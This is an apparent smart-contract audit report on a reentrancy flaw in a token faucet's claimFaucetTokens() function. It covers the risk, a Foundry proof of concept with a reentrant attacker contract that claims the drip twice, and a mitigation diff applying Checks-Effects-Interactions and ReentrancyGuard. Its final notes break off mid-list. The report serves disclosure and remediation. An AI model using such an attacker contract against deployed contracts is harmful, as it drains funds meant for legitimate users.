Description
The claimFaucetTokens() function is designed to distribute faucet tokens to users with a 3-day cooldown period and daily claim limits. First-time claimers also receive a small amount of Sepolia ETH to cover gas costs. The function should only allow one claim per transaction, with state variables lastClaimTime and dailyClaimCount preventing rapid successive claims.
The function violates the Checks-Effects-Interactions (CEI) pattern by making an external call to send ETH to the claimer before updating critical state variables. This allows a malicious contract to reenter the function during the ETH transfer and claim tokens a second time, bypassing cooldown and daily limit protections.
Risk
Likelihood: High
-
Any first-time claimer can deploy a malicious contract with a receive() function that calls claimFaucetTokens() again
-
The attack requires minimal technical sophistication - a simple contract with a reentry flag
-
The vulnerability is exploitable on every first-time claim attempt
-
No special timing or external conditions are required beyond being a first-time claimer
Impact: High
-
Attackers receive double the intended token amount (2000 tokens instead of 1000) per transaction
-
Cooldown mechanism is completely bypassed - attackers get 2 claims worth of tokens immediately instead of waiting 3 days
-
Daily claim limits are circumvented - the counter increments by 1 but attacker receives 2x tokens
-
Contract economics are broken - total supply drains at 2x the intended rate
-
If 100 attackers exploit this, the faucet loses 100,000 extra tokens that should have served 100 additional legitimate users
Proof of Concept
pragma solidity ^0.8.30;
import {Test, console} from "../lib/lib/forge-std/src/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
contract ReentrantClaimer {
RaiseBoxFaucet public faucet;
uint256 reentryCount;
constructor(RaiseBoxFaucet _faucet) {
faucet = _faucet;
}
function attack() external {
faucet.claimFaucetTokens();
}
receive() external payable {
reentryCount++;
console.log("Reentry attempt #", reentryCount);
if (reentryCount < 2) {
faucet.claimFaucetTokens();
console.log(" -> Reentry succeeded!");
}
}
}
contract ReentrancyExploitTest is Test {
RaiseBoxFaucet faucet;
function setUp() public {
faucet = new RaiseBoxFaucet(
"raiseboxtoken",
"RB",
1000 * 10 ** 18,
0.005 ether,
0.5 ether
);
vm.deal(address(faucet), 1 ether);
vm.warp(3 days);
}
function testReentrancyDoublesClaim() public {
ReentrantClaimer attacker = new ReentrantClaimer(faucet);
attacker.attack();
uint256 drip = faucet.faucetDrip();
assertEq(
faucet.getBalance(address(attacker)),
drip * 2,
"Attacker claimed tokens twice via reentrancy"
);
}
}
To run the proof of concept:
forge test --match-test testReentrancyDoublesClaim -vv
Recommended Mitigation
Apply the Checks-Effects-Interactions pattern by moving all state updates before external calls, and add OpenZeppelin's ReentrancyGuard as defense-in-depth:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
faucetClaimer = msg.sender;
// Checks
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
// ... other checks ...
+ // Determine if ETH should be dripped (but don't send yet)
+ bool shouldDripEth = false;
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (
dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
address(this).balance >= sepEthAmountToDrip
) {
+ shouldDripEth = true;
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
-
- (bool success, ) = faucetClaimer.call{
- value: sepEthAmountToDrip
- }("");
-
- if (success) {
- emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
- } else {
- revert RaiseBoxFaucet_EthTransferFailed();
- }
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip
? "Faucet out of ETH"
: "Daily ETH cap reached"
);
}
- } else {
- dailyDrips = 0; // ❌ Remove this - it incorrectly resets daily tracking
}
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
- // Effects
+ // Effects - Update state BEFORE external calls
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
- // Interactions
+ // Interactions - External calls AFTER state updates
+ if (shouldDripEth) {
+ (bool success, ) = faucetClaimer.call{
+ value: sepEthAmountToDrip
+ }("");
+
+ if (!success) {
+ revert RaiseBoxFaucet_EthTransferFailed();
+ }
+ emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
+ }
+
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Key fixes:
The nonReentrant modifier prevents any reentrant calls
Moving state updates (lastClaimTime, dailyClaimCount) before external calls ensures reentrancy checks will fail
Removing the erroneous dailyDrips = 0 in the else block preserves daily ETH cap integrity
The shouldDripEth flag decouples the decision logic from the execution, maintaining CEI pattern
Additional Notes
Attack Limitation: The vulnerability allows exactly 2 claims (not unlimited) because hasClaimedEth[faucetClaimer] is set to true before the external call. This means:
However, doubling the token claim is still a critical vulnerability that must be fixed.